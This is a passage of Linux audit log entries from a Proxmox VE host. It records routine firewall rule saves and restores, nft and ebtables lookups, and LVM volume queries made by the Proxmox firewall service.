type=PATH msg=audit(1781966035.163:68151): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175550,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.550:64496): proctitle=\"ip6tables-save\""} {"@timestamp":1781966035163,"@rawstring":"node=pve type=PATH msg=audit(1781966035.163:68150): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175543,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.543:64495): proctitle=\"iptables-save\""} {"@timestamp":1781966035156,"@rawstring":"node=pve type=PATH msg=audit(1781966035.156:68149): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.534:64494): proctitle=\"ip6tables-save\""} {"@timestamp":1781966035156,"@rawstring":"node=pve type=PATH msg=audit(1781966035.156:68149): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175519,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.519:64493): proctitle=\"iptables-save\""} {"@timestamp":1781966035156,"@rawstring":"node=pve type=PATH msg=audit(1781966035.156:68148): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.515:64492): proctitle=\"ebtables-restore\""} {"@timestamp":1781966035156,"@rawstring":"node=pve type=PATH msg=audit(1781966035.156:68147): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175511,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.511:64491): proctitle=\"ebtables-restore\""} {"@timestamp":1781966034833,"@rawstring":"node=pve type=PATH msg=audit(1781966034.833:68146): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.503:64490): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966034833,"@rawstring":"node=pve type=PATH msg=audit(1781966034.833:68146): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.496:64489): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966034810,"@rawstring":"node=pve type=PATH msg=audit(1781966034.810:68145): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.488:64488): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966034810,"@rawstring":"node=pve type=PATH msg=audit(1781966034.810:68145): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175483,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.483:64487): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966030148,"@rawstring":"node=pve type=PATH msg=audit(1781966030.148:68144): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.474:64486): proctitle=697073657400726573746F7265"} {"@timestamp":1781966030148,"@rawstring":"node=pve type=PATH msg=audit(1781966030.148:68144): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.466:64485): proctitle=\"ip6tables-save\""} {"@timestamp":1781966030148,"@rawstring":"node=pve type=PATH msg=audit(1781966030.148:68143): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175460,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.460:64484): proctitle=\"iptables-save\""} {"@timestamp":1781966030148,"@rawstring":"node=pve type=PATH msg=audit(1781966030.148:68142): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.456:64483): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966030143,"@rawstring":"node=pve type=PATH msg=audit(1781966030.143:68141): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.452:64482): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966030143,"@rawstring":"node=pve type=PATH msg=audit(1781966030.143:68141): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.452:64481): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966030143,"@rawstring":"node=pve type=PATH msg=audit(1781966030.143:68140): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.452:64480): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966030143,"@rawstring":"node=pve type=PATH msg=audit(1781966030.143:68139): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.446:64479): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966026034,"@rawstring":"node=pve type=PATH msg=audit(1781966026.034:68138): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.438:64478): proctitle=\"ip6tables-save\""} {"@timestamp":1781966026034,"@rawstring":"node=pve type=PATH msg=audit(1781966026.034:68138): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175430,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.430:64477): proctitle=\"iptables-save\""} {"@timestamp":1781966026034,"@rawstring":"node=pve type=PATH msg=audit(1781966026.034:68138): item=0 name=\"/usr/bin/pvenode\" inode=304820 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.426:64476): proctitle=69707365740073617665"} {"@timestamp":1781966025746,"@rawstring":"node=pve type=PATH msg=audit(1781966025.746:68137): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.417:64475): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966025746,"@rawstring":"node=pve type=PATH msg=audit(1781966025.746:68137): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.408:64474): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966025743,"@rawstring":"node=pve type=PATH msg=audit(1781966025.743:68136): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965174321,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965174.321:64473): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966025743,"@rawstring":"node=pve type=PATH msg=audit(1781966025.743:68136): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965174297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965174.297:64472): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966025742,"@rawstring":"node=pve type=PATH msg=audit(1781966025.742:68135): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965172.063:64471): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025742,"@rawstring":"node=pve type=PATH msg=audit(1781966025.742:68135): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965172.063:64470): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025742,"@rawstring":"node=pve type=PATH msg=audit(1781966025.742:68134): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965172.063:64469): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025737,"@rawstring":"node=pve type=PATH msg=audit(1781966025.737:68133): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965172.050:64468): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025737,"@rawstring":"node=pve type=PATH msg=audit(1781966025.737:68133): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965172.050:64467): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025737,"@rawstring":"node=pve type=PATH msg=audit(1781966025.737:68133): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965172050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965172.050:64466): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025730,"@rawstring":"node=pve type=PATH msg=audit(1781966025.730:68132): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965167.043:64465): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025730,"@rawstring":"node=pve type=PATH msg=audit(1781966025.730:68132): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965167.043:64464): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025723,"@rawstring":"node=pve type=PATH msg=audit(1781966025.723:68131): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965167.043:64463): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025723,"@rawstring":"node=pve type=PATH msg=audit(1781966025.723:68131): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965167.036:64462): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025715,"@rawstring":"node=pve type=PATH msg=audit(1781966025.715:68130): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965167.036:64461): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025715,"@rawstring":"node=pve type=PATH msg=audit(1781966025.715:68130): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965167036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965167.036:64460): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025707,"@rawstring":"node=pve type=PATH msg=audit(1781966025.707:68129): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.388:64459): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966025707,"@rawstring":"node=pve type=PATH msg=audit(1781966025.707:68129): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.385:64458): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966025700,"@rawstring":"node=pve type=PATH msg=audit(1781966025.700:68127): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.385:64457): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966025700,"@rawstring":"node=pve type=PATH msg=audit(1781966025.700:68127): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.385:64456): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966025693,"@rawstring":"node=pve type=PATH msg=audit(1781966025.693:68126): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165380,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.380:64455): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966025693,"@rawstring":"node=pve type=PATH msg=audit(1781966025.693:68126): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165372,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.372:64454): proctitle=\"ip6tables-save\""} {"@timestamp":1781966025686,"@rawstring":"node=pve type=PATH msg=audit(1781966025.686:68125): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165366,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.366:64453): proctitle=\"iptables-save\""} {"@timestamp":1781966025686,"@rawstring":"node=pve type=PATH msg=audit(1781966025.686:68125): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.356:64452): proctitle=\"ip6tables-save\""} {"@timestamp":1781966025680,"@rawstring":"node=pve type=PATH msg=audit(1781966025.680:68124): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.350:64451): proctitle=\"iptables-save\""} {"@timestamp":1781966025680,"@rawstring":"node=pve type=PATH msg=audit(1781966025.680:68124): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.348:64450): proctitle=\"ebtables-restore\""} {"@timestamp":1781966025674,"@rawstring":"node=pve type=PATH msg=audit(1781966025.674:68123): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.344:64449): proctitle=\"ebtables-restore\""} {"@timestamp":1781966025674,"@rawstring":"node=pve type=PATH msg=audit(1781966025.674:68123): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.339:64448): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966025668,"@rawstring":"node=pve type=PATH msg=audit(1781966025.668:68122): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.334:64447): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966025668,"@rawstring":"node=pve type=PATH msg=audit(1781966025.668:68122): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.328:64446): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966025661,"@rawstring":"node=pve type=PATH msg=audit(1781966025.661:68121): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165322,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.322:64445): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966025661,"@rawstring":"node=pve type=PATH msg=audit(1781966025.661:68121): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.316:64444): proctitle=697073657400726573746F7265"} {"@timestamp":1781966025652,"@rawstring":"node=pve type=PATH msg=audit(1781966025.652:68120): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.309:64443): proctitle=\"ip6tables-save\""} {"@timestamp":1781966025652,"@rawstring":"node=pve type=PATH msg=audit(1781966025.652:68120): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.300:64442): proctitle=\"iptables-save\""} {"@timestamp":1781966025648,"@rawstring":"node=pve type=PATH msg=audit(1781966025.648:68119): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.298:64441): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966025648,"@rawstring":"node=pve type=PATH msg=audit(1781966025.648:68119): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.292:64440): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966025645,"@rawstring":"node=pve type=PATH msg=audit(1781966025.645:68118): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165290,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.290:64439): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966025645,"@rawstring":"node=pve type=PATH msg=audit(1781966025.645:68118): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165290,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.290:64438): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966025644,"@rawstring":"node=pve type=PATH msg=audit(1781966025.644:68117): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.286:64437): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966025644,"@rawstring":"node=pve type=PATH msg=audit(1781966025.644:68117): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.278:64436): proctitle=\"ip6tables-save\""} 